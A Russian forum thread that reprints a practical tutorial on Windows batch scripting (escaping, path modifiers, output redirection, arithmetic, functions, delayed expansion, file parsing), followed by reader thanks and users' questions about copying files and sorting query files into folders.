Статьи Урок bat-аники

Discussion in 'Статьи' started by c411k, 10 Apr 2006.

  1. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    Введение

    Мы все любим писать серьезные вещи на серьезных языках. Шаблоны, C++, Reflection, Perl и многое другое – вот то, что мы любим, то, чему посвящаем длинные сообщения в форумах, то, что снится нам по ночам.

    Однако в нашей повседневной деятельности встречаются и вещи, которые не так интересны и интеллектуальны. Мы не очень любим говорить об этом, делаем вид, что Это – грязно, нечистоплотно и недостойно нашего внимания. Однако, приходит день, приходит час и перст Судьбы находит нас – нам надо написать еще один батничек… Иногда это запускалка для построения проекта, которая должна при ошибке компиляции скопировать логи на сетевой диск, иногда – запуск обновления исходных текстов из SVN. Иногда – что-нибудь еще.

    К чему я это все? А к тому, что поговорим мы о полезных хитростях при написании файлов сценариев на встроенном командном языке Windows. К счастью, это занятие не является доминирующим в профессиональной деятельности автора, так что я не обязуюсь заполнить абсолютно все пробелы в данной области. Кроме того, рожденный ползать летать не может, и из cmd.exe, увы, не получится ни /usr/bin/perl, ни даже /bin/sh. Так что, все нижеприведенное – просто некоторые интересные факты из жизни файлов с расширением bat, на которые автор обратил внимание во время решения различных практических задач автоматизации.

    Наш урок будет построен по сугубо практическому принципу, известному в народе как Cookbook. Иными словами, я не буду вдаваться в синтаксические и семантические дебри командного языка Windows, а лишь продемонстрирую его возможности (хотел написать «мощь», но все-таки передумал). Именно поэтому большинство следующих заголовков будет начинаться со слова «Как». Впрочем, для полноты по ходу развития событий будут даваться подробные комментарии, в том числе и по языковым конструкциям.

    ПРЕДУПРЕЖДЕНИЕ

    Практически все описанные здесь рецепты подойдут только для Windows 2000 и старше. Bat-язык Windows 9x, к счастью, можно считать почившим, так что здесь он не рассматривается. Более того, диалекты cmd.exe операционных систем Windows 2000, Windows XP и Windows Server 2003 также немного различаются. Все приведенное ниже создано и проверено на компьютере под управлением операционной системы Windows XP. За подробной информацией по различиям в реализации той или иной команды обращайтесь к [1].

    Как экранировать символ?

    В командном языке Windows существует некоторый набор символов с высоким приоритетом, которые всегда трактуются как спецсимволы. К ним, в частности, относятся:

    • Операторы перенаправления ввода-вывода <, >, >>.
    • Оператор конвейера |.
    • Операторы объединения команд ||, & и &&.
    • Оператор разыменования переменной %…%.

    В случае если символ, относящийся к одному из таких операторов, должен быть включен в вашу команду в его литеральном смысле, вас ждут определенные неожиданности. Например, при выполнении вот такой строки

    Code:
    echo The ratio should be up to 10%.
    символ процента будет «съеден» интерпретатором, который решит, что это попытка вывода значения какой-то переменной. В случае со знаком процента решение довольно хорошо известно и состоит в удвоении этого символа:

    Code:
    echo The ratio should be up to 10%%.
    после чего все заработает так, как надо. Однако в других случаях все менее очевидно. Рассмотрим командный сценарий, который генерирует незатейливый HTML-файл:
    Code:
    @echo off
    set OUTPUTFILE=%1
    
    echo <html>                                  >%OUTPUTFILE%
    echo <head>                                 >>%OUTPUTFILE%
    echo <title>This is a greeting page</title> >>%OUTPUTFILE%
    echo </head>                                >>%OUTPUTFILE%
    echo <body>                                 >>%OUTPUTFILE%
    echo Hello World!                           >>%OUTPUTFILE%
    echo </body>                                >>%OUTPUTFILE%
    echo </html>                                >>%OUTPUTFILE%
    
    
    К сожалению, при попытке запуска этого "чуда инженерного разума" нас постигнет неудача в виде сообщения об ошибке
    Code:
    > was unexpected at this time.
    Оно и понятно: командный интерпретатор не в силах разобраться, где его просят вывести на экран символ HTML-тега, а где перенаправить вывод. В нормальных языках программирования эта проблема обычно решается обрамлением строковых литералов кавычками. Отчасти это помогает и в bat-файлах. Но лишь отчасти. Выполнение строки

    Code:
    echo "<html>"                                 >%OUTPUTFILE%
    приведет к тому, что в выходной файл будут записаны и сами кавычки. Это явно не совсем то, что требуется.

    К счастью, есть один малоизвестный способ, позволяющий добиться требуемого результата. Символ ^ позволяет экранировать любой другой символ с безусловным приоритетом. Таким образом, вышеприведенный пример генерации HTML может быть успешно записан так:
    Code:
    @echo off
    set OUTPUTFILE=%1
    
    echo ^<html^>                                    >%OUTPUTFILE%
    echo ^<head^>                                   >>%OUTPUTFILE%
    echo ^<title^>This is a greeting page^</title^> >>%OUTPUTFILE%
    echo ^</head^>                                  >>%OUTPUTFILE%
    echo ^<body^>                                   >>%OUTPUTFILE%
    echo Hello World!                               >>%OUTPUTFILE%
    echo ^</body^>                                  >>%OUTPUTFILE%
    echo ^</html^>                                  >>%OUTPUTFILE%
    
    
    Таким же способом можно экранировать любой другой специальный символ. Очевидно, можно экранировать и сам ^. Не очень эстетично, зато дешево и практично. Слово «надежно» я пропустил умышленно…

    Как перенести длинную строку?

    Совет по поводу экранирующего символа ^ имеет еще одно применение: перенос строк. Я (как и многие из вас, наверное) люблю, чтобы любой исходный текст, который я пишу, выглядел красиво – даже *.bat-файлы. Одним из обязательных условий красоты и удобочитаемости кода для меня является его ширина: все строки должны умещаться в 78 столбцов. Можно поспорить по поводу числа 78, но в одном я непреклонен – ограничение на ширину текста кода должно быть, иначе это не код, а макароны.

    Так вот долгое время *.bat-файлы портили мне жизнь тем, что иногда приходилось писать длинную строку – например, вызов какой-нибудь другой программы с кучей опций, и я не знал, что с этим делать. Происходило это нечасто, но всегда было неприятно. Но, к счастью, моя жизнь изменилась с тех пор, как я открыл для себя Супер-Символ ^:
    Code:
    packagebin.exe --recursive-search=yes --files-mask=exe,dll,pdb,obj ^
        --archive-type=zip --archive-level=max --deliver-method=ftp    ^
        --deliver-target=ftp://ftp.site.com
    
    
    Помните лишь, что чудо-символ должен быть последним в строке – скажите «Нет!» концевым пробелам.

    Как определить имя каталога, в котором находится запущенный командный файл?

    Иногда сценарию надо знать полный путь к себе самому и/или к каталогу, в котором он находится. Это может понадобиться по разным причинам. Например, он должен достать из системы контроля версий исходники в каталог <script-dir>/src рядом с собой. Или, запускаются тесты из каталога <script-dir>/tests, и перед их запуском надо добавить каталог <script-dir>/bin в переменную PATH.

    Можно, конечно, рассчитывать на то, что командный файл был вызван из того же каталога, где он находится, и тогда в качестве вышеупомянутого <script-dir> можно использовать переменную окружения %CD% - полный путь к текущему каталогу. Однако любые допущения в нашем деле недопустимы (хороший каламбур, однако!). Поэтому приведу более надежное решение.

    Прежде всего, вспоминаем, что переменная %0 в bat-файле соответствует нулевому аргументу командной строки, т.е. имени самого файла. После этого читаем скудную документацию для команды call:
    Code:
    call /?
    и обнаруживаем, что при использовании нумерованных переменных %0-%9 можно использовать некоторые модификаторы:
    Code:
            %~1         - разворачивает %1, удаляя кавычки (")
            %~f1        - разворачивает %1 в полный квалифицированный путь
            %~d1        - разворачивает %1 в букву диска
            %~p1        - разворачивает %1 в путь
            %~n1        - разворачивает %1 в имя файла
            %~x1        - разворачивает %1 в расширение файла
            %~s1        - развернутый путь будет содержать только короткие имена
            %~a1        - разворачивает %1 в атрибуты файла
            %~t1        - разворачивает %1 в дату/время создания файла
            %~z1        - разворачивает %1 в размер файла
            %~$PATH:1   - Ищет в каталогах, перечисленных в переменной среды PATH,
                           и разворачивает %1 в полное квалифицированное имя 
                           первого совпадения. Если имя перменной среды
                           не определено, или если файл не найден, этот 
                           модификатор вернет пустую строку
    
    
    и, более того:
    Code:
        Модификаторы можно объединять для получения сложных результатов:
    
            %~dp1       - разворачивает %1 в букву диска и путь
            %~nx1       - разворачивает %1 в имя файла с расширением
            %~dp$PATH:1 – ищет %1 в каталогах, перечисленных в переменной 
                           среды PATH, и разворачивает в букву диска
                           и путь к первому найденному файлу.
            %~ftza1     - разворачивает %1 в строку, подобную DIR
    
    
    Таким образом, правильным будет использовать в качестве тега <script-dir> сочетание %~dp0, которое будет раскрыто в полный путь к каталогу, где находится сценарий. Например,
    Code:
    "%~dp0\packagebin.exe" --recursive-search=yes --files-mask=exe,dll,pdb,obj ^
        --archive-type=zip --archive-level=max --deliver-method=ftp            ^
        --deliver-target=ftp://ftp.site.com --deliver-source="%~dp0\bin"
    
    
    Обратите внимание на использование кавычек – потенциально каталог может иметь в своем пути пробел. Кавычки избавят от проблем в этом случае.

    ПРЕДУПРЕЖДЕНИЕ

    Опасайтесь бездумного применения команды cd %~dp0 без проверки результата выполнения. Теоретически, эта команда должна сменить текущий каталог на каталог, в котором расположен командный файл. Как правило, это работает. Однако возможны неожиданности. Однажды был написан простой командный сценарий, задача которого была просто удалить все каталоги рядом с собой. В «свою» директорию он переходил как раз через cd %~dp0. Все было проверено на локальной машине – работало замечательно. После этого сценарий был помещен на файл-сервер, где ему и полагалось быть. Я зашел с помощью Far в сетевой каталог, и для контрольной проверки решил запустить файл еще раз. Дальнейшее словно в тумане. cmd.exe правильно определил местонахождение bat-файла: \\servername\sharename\directory. Однако при попытке сделать туда cd, он сказал, что UNC-пути в качестве текущих каталогов не поддерживаются и лучше он сменит текущий каталог на C:\WINDOWS… Это было действительно мудрое решение… Часть сценария, отвечавшая за удаление всех каталогов, сработала отлично – хорошо, что я успел вовремя остановить это безумие.

    В тот день я узнал, что такое System Restore…

    Как получить короткое (8.3) имя файла?

    «А зачем? – спросите вы – Ведь мы живем в мире Интернета, Web-сервисов и NTFS с длинными именами файлов». Это действительно так, но иногда встречаются программы, которые отчаянно сопротивляются прогрессу, и в частности, не любят имен файлов и полных путей с пробелами. Одной из таких программ, кстати, является утилита build.exe из Windows DDK… В таких ситуациях спасает использование короткого, «беспробельного» DOS-имени для файла.

    ПРЕДУПРЕЖДЕНИЕ

    Доступ к файлу по короткому имени может быть не всегда возможен. На файловой системе NTFS создание коротких псевдонимов для файлов может быть отключено путем установки в единицу значения «NtfsDisable8dot3NameCreation» в ключе реестра «HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem».


    Итак, все же (в предположении, что надругательства над NTFS не было) – как? Внимательный читатель должен был заметить в предыдущем разделе, что при обращении к переменным %0 - %9 можно использовать префикс
    Code:
    %~s1        - expanded path contains short names only
    который нам как раз мог бы помочь. Но есть засада – все эти полезные префиксы нельзя использовать с произвольной переменной окружения, а присваивание переменным %0 - %9 не поддерживается. К счастью, описываемые префиксы можно еще использовать с переменными цикла for, и это дает нам способ достичь требуемого результата. Например, вот так можно получить 8.3-путь к “Program Files”:
    Code:
    for /d %%i in ("%PROGRAMFILES%") do (
        set PROGRAMFILESSHORT=%%~si
    )
    
    echo 8.3-имя для каталога "%PROGRAMFILES%" -^> "%PROGRAMFILESSHORT%"
    
     
    
    Этот и другие модификаторы можно использовать и с любой другой формой цикла for, подробнее о которых можно узнать из:
    Code:
    for /?
    Как перенаправить стандартный вывод в файл?

    Плоха та короткая программа, которая не стремится стать большой. К сожалению, это правило применимо и к командным файлам Windows тоже – иногда bat-файлы вырастают до довольно больших размеров. Если при этом результат выполняемых команд должен журналироваться, то все становится совсем плохо – почти каждая строка имеет хвостик типа

    Code:
    echo Cleaning up the target directory >>%LOGFILE%
    ...
    echo The target directory has been cleaned >>%LOGFILE%
    
    
    Гораздо проще было бы перенаправить стандартный вывод в файл, чтобы все команды echo и вообще, все, что выводится на экран, автоматически попадали в журнальный файл. Сделать это можно следующим образом (рассмотрим на знакомом примере генерации HTML-файла):
    Code:
    @echo off
    set OUTPUT=out.html
    
    if "%STDOUT_REDIRECTED%" == "" (
        set STDOUT_REDIRECTED=yes
        cmd.exe /c %0 %* >%OUTPUT%
        exit /b %ERRORLEVEL%
    )
    
    echo ^<html^>
    echo ^<head^>
    echo ^<title^>This is a greeting page^</title^>
    echo ^</head^>
    echo ^<body^>
    echo Hello World!
    echo ^</body^>
    echo ^</html^>
    
    
    Здесь делается то же, что и раньше, но с перенаправлением стандартного вывода в файл out.html. Делается это простым способом – перезапуском сценарием самого себя. Сначала проверяется, не установлена ли переменная окружения STDOUT_REDIRECTED. Если она установлена, значит, сценарий уже перезапущен с перенаправленным выводом и можно просто продолжить работу. Если же переменная не установлена, то мы ее устанавливаем и перезапускаем скрипт (cmd.exe /c %0) с таким же набором параметров, что и исходная команда (%*) и перенаправленным в файл стандартным выводом (>%OUTPUT%). После завершения выполнения «перенаправленной» команды выходим.

    Такое «единовременное» перенаправление имеет и еще один неочевидный плюс: файл открывается и закрывается только один раз, и всем командам и дочерним процессам передается дескриптор уже открытого файла. Во-первых, это чуть-чуть улучшит производительность (жизнь удалась – сроду бы не подумал, что буду когда-нибудь писать о производительности в bat-файлах). Во-вторых, это поможет избежать проблемы с невозможностью открыть файл для записи. Такое может случиться, если после выполнения одной из команд останется «висеть» какой-нибудь процесс. Он будет держать дескриптор интересующего нас файла и перенаправление вывода в этот файл для всех последующих команд провалится. Проблема может показаться надуманной, но однажды она украла у меня 2 часа жизни…

    Как сложить два числа?

    Краткий ответ – смотри:
    Code:
    set /?
    
    
    Длинный ответ таков. В bat-файлах можно производить довольно-таки продвинутые вычисления – продвинутые не в сравнении с другими языками, а в сравнении с отсутствием возможности что-либо вычислить вообще. Вычисление осуществляется командой set, если она выполняется с ключом /a. Поддерживается практически полный набор операторов языка C, включая шестнадцатеричный модификатор 0x. Переменные окружения в выражении не обязательно заключать в знаки процента – все, что не является числом, считается переменной. Подробнее – все-таки в man set, тьфу, то есть в set /?. А здесь напоследок – просто несколько примеров.
    Code:
    @echo off
    
    set ARG=1
    
    rem Переменные окружения в выражении не обязательно заключать в %...%
    set /a RESULT=ARG + 2
    echo %RESULT%
    
    rem Если выражение содержит какие-либо из символов non grata, надо
    rem заключить его в кавычки
    set /a RESULT="ARG << 2"
    echo %RESULT%
    
    rem Шестнадцатеричная арифметика
    set /a RESULT=0x1234 + 0x6786
    echo %RESULT%
    
    rem И многое-многое другое...
    
    А можно создать в bat-файле функцию?

    Да, можно. Более того, иногда даже нужно. Правда, функциями это можно назвать условно. Есть особый синтаксис команды call, который позволяет перейти на метку в этом же bat-файле с запоминанием места, откуда был произведен этот вызов:
    Code:
    call :метка аргументы
    Возврат из функции производится командой:
    Code:
    exit /b [опциональный код возврата]
    Ключ /b здесь очень важен: без него будет произведен выход не из функции, а из сценария вообще.

    За подробностями обращайтесь к:
    Code:
    call /?
    exit /?
    
    
    Что интересно, команда call с таким синтаксисом поддерживает рекурсивные вызовы с автоматическим созданием нового фрейма для переменных аргументов %0-%9. Иногда это может быть полезным. Вот классический пример рекурсивного подсчета факториала на командном языке:
    Code:
    @echo off
    
    call :factorial %1
    echo %RESULT%
    exit
    
    rem Функция для подсчета значения факториала
    rem Вход:
    rem       %1        Число, для которого необходимо подсчитать факториал
    rem Выход:
    rem       %RESULT%  Значение факториала
    :factorial
    
    if %1 == 0 (
        set RESULT=1
        exit /b
    )
    
    if %1 == 1 (
        set RESULT=1
        exit /b
    )
    
    set /a PARAM=%1 - 1
    
    call :factorial %PARAM%
    
    set /a RESULT=%1 * %RESULT%
    
    exit /b
    
    
    Пример работы:
    Code:
    > factorial.bat 10
    3628800
     
    _________________________
    14 people like this.
  2. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    Как можно избежать использования goto?

    Любой хоть сколько-то осмысленный *.bat-файл длиной больше 50 строк является ярким лозунгом в поддержку работы Дейкстры «О вреде оператора goto». Мешанина из переходов вперед и назад действительно является кодом «только для записи». Можно ли что-то предпринять по этому поводу?

    На самом деле можно. Как правило, большинство меток и переходов используются для организации ветвлений при проверке условий, т.е. банальных if-then-else блоков. В оригинале, bat-язык поддерживал только одну команду в блоке then, что автоматически приводило к идиомам вида:
    Code:
    if condition goto :THEN
    rem Команды ветки ‘else’
    rem ...
    goto IF_END
    :THEN
    rem Команды ветки ‘then’
    rem ...
    :IF_END
    
    
    Но к счастью, командный интерпретатор cmd.exe современных ОС Windows 2000 и старше поддерживает блоки команд в конструкциях ветвления, что устраняет необходимость применения меток. Блоки команд заключаются в круглые скобки. Выглядит это так (имитируя C/C++ indentation style):
    Code:
    if condition (
        rem Команды ветки ‘then’
        rem ...
    ) else (
        rem Команды ветки ‘else’
        rem ...
    )
    
    
    Конкретный пример использования:
    Code:
    @echo off
    
    set BUILDMODE=%1
    
    if "%BUILDMODE%" == "" (
        echo FAIL: Аргумент является обязательным ^(--debug, --release^)
        exit /b 1
    )
    
    rem Удаляем из аргумента все дефисы для упрощения обработки
    set BUILDMODE=%BUILDMODE:-=%
    
    if "%BUILDMODE%" == "debug" (
        echo INFO: Устанавливаем debug-режим окружения
        set CCFLAGS=/Od /MDd /Z7
    ) else (
        echo INFO: Устанавливаем release-режим окружения
        set CCFLAGS=/O2 /MD
    )
    
    
    На мой взгляд, с этим уже вполне можно жить. Но, как всегда, жизнь не так проста, как кажется. Есть одна проблема. Переменные, использующиеся в блоках then и else, раскрываются перед началом выполнения этих блоков, а не в процессе выполнения. В приведенном примере это не вызывает никаких проблем, однако в следующем вызовет:
    Code:
    if "%BUILDMODE%" == "debug" (
        echo INFO: Устанавливаем debug-режим окружения
        set OPTFLAGS=/Od
        set CCFLAGS=%OPTFLAGS% /MDd /Z7
    ) else (
        echo INFO: Устанавливаем release-режим окружения
        set OPTFLAGS=/O2
        set CCFLAGS=%OPTFLAGS% /MD
    )
    
    
    Загвоздка в том, что в обоих блоках подстановка переменной OPTFLAGS произойдет до того, как она будет изменена в процессе выполнения этого блока. Соответственно, в CCFLAGS будет подставлено то значение, которое OPTFLAGS имела на момент начала выполнения данного if-блока.

    Решается эта проблема путем использования отложенного раскрытия переменных. Переменные, заключенные в !…! вместо %…%, будут раскрыты в их значения только в момент непосредственного использования. Данный режим по умолчанию отключен. Включить его можно либо использованием ключа /V:ON при вызове cmd.exe, либо использованием команды
    Code:
    setlocal enabledelayedexpansion
    в тексте самого bat-файла. Второй способ мне представляется более удобным – не очень здорово требовать от кого-то запуска твоего сценария с определенным параметром.

    С учетом сказанного предыдущий «неправильный» пример может быть исправлен так:
    Code:
    setlocal enabledelayedexpansion
    
    rem ...
    
    if "%BUILDMODE%" == "debug" (
        echo INFO: Setting up debug mode environment
        set OPTFLAGS=/Od
        set CCFLAGS=!OPTFLAGS! /MDd /Z7
    ) else (
        echo INFO: Setting up release mode environment
        set OPTFLAGS=/O2
        set CCFLAGS=!OPTFLAGS! /MD
    )
    
    
    Вот теперь это почти полноценный if-then-else блок. Почти, потому что если в одной из команд echo у вас встретится закрывающая круглая скобка, то вам необходимо заэкранировать ее символом ^, иначе синтаксический анализатор путается…

    Но в любом случае, это гораздо лучше безумного количества меток и переходов.

    Как обработать текстовый файл?

    Иногда в командном файле необходимо получить доступ к содержимому некоторого текстового файла и некоторым образом это содержимое обработать. Например, прочитать файл настроек программы.

    Для привнесения еще большей конкретики в процесс изучения зададимся целью прочитать файл с настройками следующего содержания:
    Code:
    # Это простой файл с настройками
    
    # Режим сборки
    buildmode=release
    
    # Компилятор
    compiler=cl.exe
    
    # Архитектура
    arch=x86
    
    
    Ничего сверхъестественного – простой key=value формат с возможностью вставки Unix-style комментариев. Помочь в чтении и обработке этого файла нам сможет команда for. Ее дополнительные опции позволяют задать и разделители, и символ начала комментария, и кое-что еще. Вот командный файл, который выполняет поставленную задачу:
    Code:
    @echo off
    
    rem Читаем настройки из файла settings.txt, который должен располагаться в
    rem том же каталоге, что и bat-файл. Если не удалось распарсить настройки -
    rem выходим с ненулевым кодом возврата.
    call :read_settings %~dp0\settings.txt || exit /b 1
    
    rem Прочитанные настройки:
    echo Build mode  : %BUILDMODE%
    echo Compiler    : %COMPILER%
    echo Architecture: %ARCH%
    
    rem Выход из сценария. Дальше - только функции.
    exit /b 0
    
    rem
    rem Функция для чтения настроек из файла.
    rem Вход:
    rem       %1           - Имя файла с настройками
    :read_settings
    
    set SETTINGSFILE=%1
    
    rem Проверка существования файла
    if not exist %SETTINGSFILE% (
        echo FAIL: Файл с настройками отсутствует
        exit /b 1
    )
    
    rem Обработка файла c настройками
    rem Здесь:
    rem     eol=# указывает на то, что содержимое строки начиная с символа #
    rem     и до ее конца может быть пропущено как комментарий.
    rem
    rem     delims== указывает, что разделителем значений является символ =
    rem 
    rem     tokens=1,2 приводит к тому, что в переменную %%i будет занесен первый
    rem     токен, а в %%j - второй.
    rem 
    
    for /f "eol=# delims== tokens=1,2" %%i in (%SETTINGSFILE%) do (
        rem В переменной i - ключ
        rem В переменной j - значение
        rem Мы транслируем это в переменные окружения
        set %%i=%%j
    )
    
    exit /b 0
    
    
    Обильные комментарии должны помочь легко разобраться, что к чему. За подробностями, как обычно, отошлю к:
    Code:
    for /?
    Кстати, возможности команды for не ограничиваются чтением из файла. Возможно также чтение вывода другой команды. Например, так:
    Code:
    @echo off
    
    for /f "tokens=* usebackq" %%i in (`cmd.exe /c ver`) do (
        set VERSION=%%i
    )
    
    echo %VERSION%
    
    
    Особенно меня умиляет наличие опции “usebackq”, которая делает синтаксис отдаленно похожим на юниксовый. И в стенах царства Билла есть граждане, скучающие по /bin/sh и пытающиеся хоть как-то скрасить существование свое и окружающих. Следующий совет это также косвенно подтверждает.

    Что это за упомянутые ранее операторы объединения команд?

    Это операторы &, && и ||. Они практически совсем не освещены в документации, но полезны в повседневности. Они позволяют объединять несколько команд в одну, т.е. примерно так:
    Code:
    command1 & command2
    command1 && command2
    command1 || command2
    
    Форма этих операторов весьма соответствует их содержанию. В случае, пожалуй, наименее полезного оператора & вторая команда будет просто выполнена после первой, т.е. это равносильно простой записи:
    Code:
    command1
    command2
    
    Оператор && гарантирует, что вторая команда будет выполнена только, если первая была выполнена успешно, т.е. с нулевым кодом возврата (он же %errorlevel%). Такие конструкции очень популярны в мире shell-сценариев Unix. Например:
    Code:
    cd sources && make clean
    Я был приятно удивлен, узнав, что cmd.exe тоже умеет выполнять такие конструкции. Это безопаснее и правильнее, нежели простое последовательное выполнение этих команд, и короче и проще, чем строгая проверка и обработка кодов возврата. Очень удобно при написании на скорую руку. Не менее полезен иногда и оператор ||. Суть его тоже логична – выполнить вторую команду, если первая дала сбой. Часто встречается в таких идиомах:
    Code:
    cd sources || exit 1
    Если перейти в каталог sources не удастся, то будет произведен выход с кодом ошибки 1. Если же первая команда отработает нормально, то вторая выполнена не будет. Например, такая простейшая защита помогла бы в случае с cd по UNC-адресу, описанному ранее.

    Можно ли написать на bat-языке серьезную программу?

    Пожалуй, нет. Серьезная программа должна все-таки выглядеть серьезно. А все написанное на командном языке Windows таковым назвать можно лишь с о-о-о-чень большой натяжкой. Так что для решения более сложных задач автоматизации лучше все-таки взять что-нибудь более функциональное:
    • Perl
    • Python
    • Ruby
    • JScript / VBScript

    Последние, кстати, присутствуют в Windows 2000/XP по умолчанию (с некоторыми функциональными различиями) и в целом могут считаться заменой *.bat языку. Однако сдается мне, что *.bat-файлы проживут еще очень долго.

    Дай Бог, чтобы я ошибся…

    © Автор: Алексей Александров
    Источник: RSDN Magazine #2-2005
    статейку на sql.ru нашел.
     
    _________________________
    #2 c411k, 10 Apr 2006
    Last edited: 11 Apr 2006
    2 people like this.
  3. Aggrassor

    Aggrassor New Member

    Joined:
    27 Feb 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    У меня вопрос. Я пишу в батник следующий код:
    @echo off
    copy text.txt %SystemRoot%\text.txt -- и он копирует это в системную директорию
    А когда я пищу это:
    @echo off
    copy text.txt %ProgramFiles%\text.txt --то он выдает ошибку типа неправильный синтаксис. По сути он должен был копировать text.txt в папку Program Files но не копирует. Почему?7
     
  4. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Просто у тебя кривые руки и ты... (с) Kez.
    Смотри тут http://oszone.net/display.php?id=3673
     
  5. $@T@No$

    $@T@No$ New Member

    Joined:
    6 Jan 2006
    Messages:
    7
    Likes Received:
    3
    Reputations:
    0
    За статью а респект а Aggrassor как я наю а наю очень плохо ) нельзя писать programfiles% попробуй полный путь!
     
    1 person likes this.
  6. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Круто наверно писать тупой ответ, после того как чел получил нормальный ответ?
     
  7. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    очень-очень нужный, находящий использование в реале, способ.
    супер.
     
    1 person likes this.
  8. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    Да статя кльовая вот я думаю чот похожое бросить...
     
  9. Achtung!

    Achtung! Banned

    Joined:
    20 Mar 2006
    Messages:
    11
    Likes Received:
    4
    Reputations:
    -1
    про функции было интересно почитать. спасибо
     
  10. Aggrassor

    Aggrassor New Member

    Joined:
    27 Feb 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Trampled_Clover
    Спасибо. Оказывается непоставил кавычек.
     
  11. ac005

    ac005 Banned

    Joined:
    9 Feb 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    спасибо
     
  12. [Zarakul]

    [Zarakul] Elder - Старейшина

    Joined:
    12 Dec 2005
    Messages:
    153
    Likes Received:
    49
    Reputations:
    6
    cy4_1o1ka
    Респект за статью! Сам писал?
     
  13. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
  14. W!nd

    W!nd New Member

    Joined:
    31 May 2005
    Messages:
    20
    Likes Received:
    1
    Reputations:
    1
    молоток! ватники необходимы для сосуществования..... респект
     
  15. SerzhS

    SerzhS New Member

    Joined:
    9 Nov 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Здраствуйте, у меня есть проблема в насписании bat файла. Существует лог из bat файл а в котором есть примерно вот такие записи:

    _____________________________________________________________________

    ***
    c:\PRIMER\serdyuk\LAW#000177_52.QST
    Скопировано файлов: 1.
    ***
    c:\PRIMER\serzh\LAW#000177_60.QST
    c:\PRIMER\serzh\LAW#000177_70.QST
    Скопировано файлов: 2.
    ***
    c:\PRIMER\froot\LAW#000177_50.QST
    Скопировано файлов: 1.
    ***
    c:\PRIMER\root\LAW#000177_61.QST
    c:\PRIMER\root\LAW#000177_67.QST
    c:\PRIMER\root\LAW#000177_65.QST
    Скопировано файлов: 3.

    _____________________________________________________________________

    Есть еще набор папок с именами serzh, serdyuk, root, froot - в общем то что находится после слова "PRIMER". Мне необходимо с помощью bat файла взять QST файлы и поместить их в тот каталог, который указан в логе, то есть все QST файлы хранятся в одном каталоге, но необходимо их раскидать по папкам но только тудаже, откуда они пришли, чтобы лишние QST не попадали не в свои каталоги. В крайнем случае можно даже сделать одинаковую длинну имен юзеров (папок), тогда путь в логе всегда будет имет одинаковую длинну.
     
  16. SerzhS

    SerzhS New Member

    Joined:
    9 Nov 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Что то подобное делалось в этом bat файле

    ___________________________________________________________________________

    color 4f
    rem ***************** Создадим каталог, если нет , для обновлений *****************
    set fname=%1
    set address=%2
    set dirname=%fname:~-10,-3%
    set basename=%fname:~0,3%
    set regbase=%fname:~0,7%

    rem ********************** Подкорректируем переменные *****************************
    IF %basename%==RLA set basename=%regbase%
    IF %basename%==MLA set basename=MLAW
    IF %basename%==DOC set basename=DOCS
    IF %basename%==QUE set basename=QUEST


    mkdir e:\Qst9\Qst_mail\Send\%address%
    f:
    cd \
    cd veda_r\ConsProf

    IF %basename%==RLAW977 cd f:\veda_r\AdygBase
    IF %basename%==RLAW392 cd f:\veda_r\ConsSochi

    IF %basename%==NUR cd f:\veda_r\Arbns
    IF %basename%==NPV cd f:\veda_r\Arbns
    IF %basename%==NSK cd f:\veda_r\Arbns
    IF %basename%==NSZ cd f:\veda_r\Arbns
    IF %basename%==NDV cd f:\veda_r\Arbns
    IF %basename%==NMS cd f:\veda_r\Arbns
    IF %basename%==NZS cd f:\veda_r\Arbns
    IF %basename%==NVS cd f:\veda_r\Arbns
    IF %basename%==NVV cd f:\veda_r\Arbns
    IF %basename%==NCN cd f:\veda_r\Arbns

    IF %basename%==SCN cd f:\veda_r\Arbvo
    IF %basename%==SDV cd f:\veda_r\Arbvo
    IF %basename%==SMS cd f:\veda_r\Arbvo
    IF %basename%==SPV cd f:\veda_r\Arbvo
    IF %basename%==SSK cd f:\veda_r\Arbvo
    IF %basename%==SSZ cd f:\veda_r\Arbvo
    IF %basename%==SUR cd f:\veda_r\Arbvo
    IF %basename%==SVS cd f:\veda_r\Arbvo
    IF %basename%==SVV cd f:\veda_r\Arbvo
    IF %basename%==SZS cd f:\veda_r\Arbvo


    rem ******************************* Отработаем запросы ****************************

    cons.exe /adm /yes /base_%basename% /answer /RECEIVEDIR=e:\Qst9\Qst_mail\Receive /SENDDIR=e:\Qst9\Qst_mail\Send\%address% /USERSDIR=e:\Qst9\Qst_mail\Users /yes

    rem ******************************* Теперь упакуем пополнения *********************

    e:
    cd \
    cd Qst9\Qst_mail\Send\%address%
    IF exist *.r* del /Q *.r*
    e:\Send_Int\rar.exe a -v600k -df %basename%.rar *.ans

    echo ****************** и отправим по почте каждый архив с пополнениями ************

    rem =================== Занесём адрес в НАШ лог отработки запросов ============================
    echo Запрос --- %fname% --- >>e:\Qst9\Qst_mail\logs\qst_mail.log
    echo Получившиеся архивы пополнений:>>e:\Qst9\Qst_mail\logs\qst_mail.log
    dir /B *.* >>e:\Qst9\Qst_mail\logs\qst_mail.log
    echo ===============================================================================================>>e:\Qst9\Qst_mail\logs\qst_mail.log

    IF not exist *.r* goto ERRQST

